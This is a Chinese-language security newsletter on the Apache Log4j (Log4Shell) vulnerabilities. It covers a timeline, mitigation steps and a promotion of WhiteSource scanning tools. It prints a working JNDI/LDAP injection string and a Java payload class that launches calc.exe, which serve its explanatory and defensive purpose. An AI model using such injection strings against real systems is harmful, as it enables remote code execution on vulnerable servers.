GSS資安電子報0194期【你也中獎了嗎?K.O. 過去十年來最大漏洞 - Apache Log4J】(CVE-2021-44228, CVE-2021-45046, CVE-2021-45105)

2021年十二月21日(二) PM 02:03
翻譯及整理:叡揚資訊 資訊安全事業處
 

就在上週五(12/10),Apache 基金會旗下知名的Java元件 Log4j 被爆出含有嚴重弱點,已知影響所有現有Log4j2的版本(至 2.14.1),並就在同日於Github 釋出攻擊的相關實作。GSS資安團隊於12/10同時發現這個Zero Day弱點,隨即通報客戶並提供弱點的解決方案。

國際弱點組織NVD於12/11發布CVE編號為CVE-2021-44228,並標示其CVSS 風險指標為最高分 10 分。Apache 也迅速修復了這個問題並發布 log4j 2.15.0版本,甚至於Github 發佈內文中亦提供可降低此弱點遭利用的設定,於12/13 金融資安資訊分享與分析中心也發布此弱點的通報。

Java語言長年以來都獲選為工程師以及企業最愛用語言第一名,Apache Log4j也為Java應用系統開發日誌套件最愛用之一。根據GSS資安團隊調查,此弱點影響到95%以上Java開發的客戶,藉由此事件,也同時提升了企業對於Open Source管理的意識。

 樹枝圖

 圖1:Apache Log4J RCE 攻擊事件時序

關於Log4j 你需要知道的事

Apache 的 Log4j 安全性更新在 2.14.1 及以下版本的元件中,JNDI 功能存在於參數配置、日誌訊息和參數中使用 ,原先此功能無法抵禦攻擊者控制的 LDAP 和其他 JNDI 相關端點。

這個弱點允許攻擊者透過log訊息或是訊息參數取得控制權,來執行從LDAP伺服器和其他 JNDI 相關端點載入的任意代碼。自從此弱點被發現後,Apache 迅速修復了這個問題並發布 log4j 2.15.0版本。此問題非常令人擔憂,因為這個開源元件的使用範圍非常廣泛,並支援數百萬個 Java 應用程式記錄log訊息。

據知名防毒廠商賽門鐵克指出,隨著網路上已經公開弱點利用的程式碼範例,現已在許多系統偵測到有攻擊者嘗試利用此弱點進行攻擊的行為。

Log4j 弱點如何被利用?

從下圖中可以看到一個示範應用程式嘗試使用 log4j 來記錄用戶的資訊。這個易受攻擊的應用程式通過 JNDI API 連接到攻擊者控制的 LDAP 伺服器。

${jndi:ldap://127.0.0.1:1389/o=reference}

然後LDAP 伺服器將會回傳含有惡意檔案或指令內容的程式路徑。Log4j會再根據此路徑下載執行程式內容。此示範程式的代碼為啟動Windows 系統中內建的計算機應用程式。

public class ExportObject implements javax.naming.spi.ObjectFactory {

    public ExportObject() {

            Runtime.getRuntime().exec("c:\\windows\\system32\\calc.exe");

    }

}

Log4J

修復 Log4j 弱點

考慮到開源的特性,元件之間有互相參考、引用的關係,很有可能被我們軟體專案中的許多應用系統,直接、間接引用到此元件。

為此,若想修復此風險,第一步就是確認應用系統是否使用不安全的 Log4j 版本( 2.14.1 或更低版本)。接著,如果檢測到易受攻擊的版本,請更新到版本 2.15.0 以上,以避免漏洞利用。

另外若暫時無法進行升級的辦法,可新增 Java 參數 "Dlog4j2.formatMsgNoLookups=true" 改變系統的屬性。若版本在 2.10 到 2.14.1 版本中可以設定"log4j2.formatMsgNoLookups"為"true";或是移除程式碼 "JndiLookup" 類別。但最佳的修復方式終究仍是,以不使用涵蓋風險的元件為方針,建議升級元件至2.15.0版本。

使用WhiteSource儘早修復開源元件的安全弱點 

這不是第一次或最後一次發生開源元件公開披露和發現弱點。透過在開發早期自動檢測、自動告警和修復問題,將WhiteSource 整合到您的IDE、Repo 或CI 工具,可以為您的開發、DevOps 和安全團隊節省大量時間。

我們的建議是使用 WhiteSource 功能執行下列步驟,以快速解決這個新的嚴重弱點並持續監控你所有開源元件的安全:

1.首先進行盤點

WhiteSource提供Unified Agent,針對200種以上的語言進行檢測。同時盤點完成後,即可知道那些系統有使用到此套件(此為目前漏洞發生時,各企業最無法立即得知的事情,需耗費很多人力成本才能確認完畢)。

2.建立Policy

使用WhiteSource Policy的功能,先揭露高風險或特定弱點或元件,並通知相關人員。同時也可依版本、CVSS分數等條件進行通知、自動告警或派送至Jira等功能。

3.修復建議

WhiteSource同時彙整數十個弱點資料庫及Open Source資料庫,同時WhiteSource也有研究人員,當弱點一發佈修復方式後,即會更新其資料庫,以利讓開發人員知道怎麼修復。

  • WhtieSource Prioritize:可精確找到是否程式真的有引用到該弱點元件的功能,以減少誤判的狀況;因不良的開發方式,很有可能將舊版本的元件留存於程式包中並未刪除,而弱點問題常常發生在該元件上。
  • WhiteSource Remediate:結合版本控制軟體(GitHub),當程式Commit至版控時立即觸發掃描,提示套件有弱點、新版本更新。並自動生成請求(Pull Request),可選擇自動更新或手動更新,以保持套件為最新、最安全的版本。

使用 WhiteSource 的 AppSec 工具,在問題成為頭條新聞之前快速修復問題。並為組織中的每個人員節省寶貴的時間與工作資源,並能夠繼續自信地使用開源元件,同時獲得客戶的信任。

網頁

https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-44228

 

後記: 

12/20 - 

Apache在2.16.0以前版本又發現一新的DoS類型弱點,並於12/17發布弱點編號CVE-2021-45105,CVSS3 7.5(高),以及2.17.0(JDK 8)版本,請各位使用者儘速升級,以確保資訊系統安全。

https://www.whitesourcesoftware.com/resources/blog/log4j-vulnerability-cve-2021-45105/ 

Apache於12/18將CVE-2021-45046,從CVSS3 3.7(中) / DoS類型弱點修改為CVSS3 9.0(高) / RCE弱點,並建議升級至2.16.0(JDK 1.8) / 2.12.2(JDK 1.7)版本修復弱點

https://www.whitesourcesoftware.com/resources/blog/log4j-vulnerability-cve-2021-45046/ 

12/16 - 

Apache於2/15又新發佈於2.15.0以前log4j的lookup 類別發現一個DoS類型的弱點,發布其弱點編號為CVE-2021-45046,並標示為中風險等級(CVSS3 3.7)。也於事件發布的同一天釋出2.16.0版本已修復此弱點,請所有使用者儘速升級至2.16.0版本,以確保資訊系統安全。

https://logging.apache.org/log4j/2.x/security.html 

 

外部參考連結:

WhiteSource Vulnerability Database - CVE-2021-44228

tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

Apache Log4j Security Vulnerabilities

金融資安資訊分享與分析中心 - Apache Log4j 存在遠端程式碼執行漏洞(CVE-2021-44228)

行政院國家資通安全會報技術服務中心 - Apache Log4j存在安全漏洞(CVE-2021-44228)

相關文章

金融業恐淪Log4j漏洞風暴最大受害者!可能有高達一半比例的公司使用10個以上有...

企業如果想要因應Log4j漏洞的危機,首先要先清查自己到底有多少系統使用了有漏洞的Log4j版本,而根據國內一家廠商對用戶進行的調查,許多產業都無法倖免,但其中,金融業所要處理的Log4j漏洞管理作業可能最繁重,因為他們的金融業用戶中,使用有漏洞Log4j版本超過10個的公司,竟高達50%
2022/01/03

星宇航空如何提供高品質且安全的服務?內化「DevSecOps」成為企業文化

面對市場競爭變化快速,星宇航空不僅採取 DevOps 的開發與部署流程,以更快速推出應用服務,更要實現「DevSecOps」! 透過將資安的概念植入於產品服務、基礎建設、開發流程以及每位工程師的工作中,讓「資訊安全」成為公司文化根基 ,使星宇得以從頭到尾完整提供安全、高質感的飛航服務。
2021/01/26

Kryptowire提供軍規等級App安全檢測,驗證多種資安標準

行動App是當前應用程式的主流類型,然而在App市集上的眾多應用程式當中,仍有不少潛藏著資安問題,像是安全性漏洞、憑證不安全、加密強度不足,以及要求過高權限、寫死程式碼認證方式,甚至本身就是惡意程式,因此,無論是開發與提供行動應用程式的企業,或是純粹安裝執行的前端使用者,都很關注行動App本體是否夠安全。
2020/12/14